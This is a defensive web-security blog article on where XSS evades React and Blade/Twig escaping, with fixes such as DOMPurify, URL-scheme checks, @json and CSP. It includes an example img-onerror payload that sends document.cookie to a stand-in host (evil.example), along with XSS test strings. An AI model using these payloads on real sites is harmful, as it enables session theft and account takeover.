Skip to main content
Blog

Web

XSS in React and Blade: where framework protection ends

React and Blade escape output automatically, but dangerouslySetInnerHTML, {!! !!}, javascript: links and markdown bypass that protection. How to test and how to fix it.

· 10 min read

Photo: Photos by V2_, Lab for the Unstable Media as part of their 3, CC BY-SA 4.0 · Wikimedia Commons

Cross-site scripting (XSS) is a vulnerability that lets an attacker run their own JavaScript on your page. That code runs in the user's browser on behalf of your domain: it reads data on the page, sends requests as the user, and can show a fake login form.

Modern frameworks have solved much of this problem. React escapes text inside JSX automatically, and so do {{ }} in Laravel Blade and {{ }} in Twig. That is why many teams believe "XSS can't happen here". In practice, XSS is almost always found exactly where someone deliberately stepped outside the framework's automatic protection. In this article we go through those places one by one.

XSS types in brief

  • Reflected XSS — the malicious code arrives in the request itself (for example in a URL parameter) and is immediately returned in the response. The attacker persuades the victim to open a crafted link.
  • Stored XSS — the malicious code is saved to the database (a comment, a profile name, a product description) and runs for everyone who views it. This type is more dangerous: no link is needed, and administrators are often among the victims.
  • DOM-based XSS — the server response is safe, but frontend code writes data from the URL or another source into the DOM in an unsafe way (innerHTML, document.write, location.hash).

Why it matters for the expertise

XSS belongs to category A03 "Injection" of the OWASP Top 10 (2021) and is classified as CWE-79. In the official expertise, every input field, URL parameter, file name and API response is tested for XSS. Stored XSS in particular — for example, text from an ordinary user executing in the admin panel — is a serious finding, because through an administrator's session it can open the way to the entire system.

The expertise also checks separately whether a Content-Security-Policy header is present. CSP is the second layer of defence against XSS, and we cover it below.

Where XSS gets into React

dangerouslySetInnerHTML

The only way to insert HTML directly in React is dangerouslySetInnerHTML. The name is deliberately alarming, yet it is used a lot: article text from a CMS, output of a WYSIWYG editor, a "formatted" message from the server.

// Dangerous: description comes from a user
<div dangerouslySetInnerHTML={{ __html: product.description }} />

If description contains <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">, it will run. The fix is to sanitise the HTML with a library such as DOMPurify:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(product.description, {
  USE_PROFILES: { html: true },
});
<div dangerouslySetInnerHTML={{ __html: clean }} />

Better still, sanitise the HTML on the server when it is saved and once more on the frontend when it is rendered.

React escapes text, but it does not check the meaning of an attribute value. If a user profile has a "website" field:

<a href={user.website}>Website</a>

and the user enters javascript:alert(document.domain), clicking the link runs the code. Newer React versions warn about such links, but do not rely on that. Check the URL scheme yourself:

function safeUrl(value) {
  try {
    const url = new URL(value, window.location.origin);
    return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : '#';
  } catch {
    return '#';
  }
}

<a href={safeUrl(user.website)} rel="noopener noreferrer">Website</a>

The same rule applies to iframe src, window.location = ... and window.open(...).

Writing to the DOM directly

ref.current.innerHTML = ... via useRef, passing HTML strings to third-party libraries (charts, maps, tooltips), eval and new Function — all of these are outside React's protection. Most tooltip libraries accept HTML as content; escape user data before passing it there, or switch the library to text mode.

Server-side rendering (SSR) and initial state

In Next.js and other SSR setups, the server embeds state as JSON inside a <script> tag. If this is done by hand with JSON.stringify, a </script> string inside the data can close the script block and inject new code. Use the framework's own mechanism or replace < with <.

Where XSS gets into Blade and Twig

{!! !!} and |raw

In Blade, {{ $x }} escapes the value with htmlspecialchars. {!! $x !!} does not. Twig's equivalent is the |raw filter.

{{-- Dangerous --}}
<div class="bio">{!! $user->bio !!}</div>

{{-- Safe: as text --}}
<div class="bio">{{ $user->bio }}</div>

If HTML is genuinely needed (for example, an article written by an admin), sanitise it when it is saved. For PHP, HTML Purifier or a similar library fits. Never output user data with {!! !!} without sanitising it.

Context matters: JavaScript and attributes

{{ }} is safe in HTML context, but not inside JavaScript:

{{-- Dangerous: HTML escaping is not enough in JS context --}}
<script>
  const name = '{{ $user->name }}';
</script>

{{-- Safe --}}
<script>
  const name = @json($user->name);
</script>

@json (or Js::from) encodes the value correctly for JavaScript. Also, do not put user data into inline event attributes such as onclick="...", and always quote attribute values.

Inertia

With Inertia, page props are written into the data-page attribute as JSON, and Laravel escapes them. The risk lies on the frontend, if the React component makes the mistakes described above.

Markdown: a hidden door for HTML

Many projects use Markdown for comments, descriptions or a knowledge base. The catch is that the Markdown standard allows raw HTML inside it and accepts links like [link](javascript:...).

In Laravel, Str::markdown() uses CommonMark and accepts safe options:

use Illuminate\Support\Str;

$html = Str::markdown($comment->body, [
    'html_input' => 'strip',
    'allow_unsafe_links' => false,
]);

In Node, pass the output of marked or markdown-it through DOMPurify. In markdown-it, html: false (the default) disables raw HTML, but links still need checking.

File names, SVG and other unexpected sources

XSS does not only come from text fields:

  • File names — if an uploaded file's name is shown in a list with {!! !!}.
  • SVG files — an SVG can contain <script>. If a user-uploaded SVG is opened directly from your domain, the script runs. More: file upload vulnerabilities.
  • Error messages — such as "<search term> not found".
  • PDF and exports — libraries that render PDF from HTML can also execute injected HTML.

How to check it yourself

Searching the code

# React / JS
grep -rnE "dangerouslySetInnerHTML|innerHTML\s*=|outerHTML|insertAdjacentHTML|document\.write|eval\(|new Function" src/ resources/js/

# Blade / Twig
grep -rnE "\{!!" resources/views/
grep -rnE "\|raw" templates/

# dynamic value in href
grep -rnE "href=\{[^}\"']+\}" resources/js/ src/

For each hit, trace where the data comes from: a user, an admin, or an external API?

Manual testing

In a test environment, put simple strings into every text field, URL parameter and file name, and see how they come back in the response:

"><img src=x onerror=alert(document.domain)>
javascript:alert(document.domain)
</script><script>alert(1)</script>

Then look at the DOM in DevTools rather than the page source (view-source:): if the string appears as text (&lt;img), good; if it appears as a real tag, the vulnerability is there. For stored XSS, also check pages seen by another role (for example, an administrator).

The second layer: Content-Security-Policy

Fixing the code is the primary defence. CSP is a second layer that limits the damage if a mistake slips through. A properly configured CSP blocks inline scripts and scripts loaded from foreign sources.

An nginx example:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;

If the application has inline scripts (Vite dev, Inertia initial state, analytics), use a nonce instead of adding 'unsafe-inline'. In Laravel, Vite adds a nonce to its tags via Vite::useCspNonce(), and you write the same nonce into the CSP header. Test first with Content-Security-Policy-Report-Only, then switch to enforcing mode. More: security headers: CSP and HSTS.

Additional measures:

  • The session cookie should be HttpOnly so scripts cannot read it.
  • Do not store tokens in localStorage: XSS reads them directly.

Framework escaping is protection by default. XSS always appears where someone deliberately switched that default off.

Short checklist

  • Every dangerouslySetInnerHTML, {!! !!}, |raw, v-html and innerHTML usage has been reviewed.
  • User HTML is sanitised with DOMPurify or HTML Purifier.
  • Only http, https and mailto schemes are allowed in href, src and redirects.
  • Blade uses @json or Js::from in JS context.
  • Markdown is rendered without raw HTML and unsafe links.
  • SVG and other uploaded files are served from a separate domain or with Content-Disposition: attachment.
  • Stored XSS has been checked in the admin panel too.
  • CSP is in place, using nonces instead of 'unsafe-inline'.
  • Session cookies are HttpOnly and Secure; tokens are not in localStorage.

Summary

React and Blade provide strong baseline protection against XSS, but each has an "off switch". Vulnerabilities are found precisely where those switches were flipped: dangerouslySetInnerHTML, {!! !!}, unchecked URLs and markdown. Finding these spots with grep, sanitising the data and adding CSP is concrete, measurable work worth doing before the expertise.

Want to find the XSS-prone spots in your application before the expertise? Request a security scan — the Claude AI agent finds risky patterns in your frontend and templates, and our specialist confirms them and helps you fix them.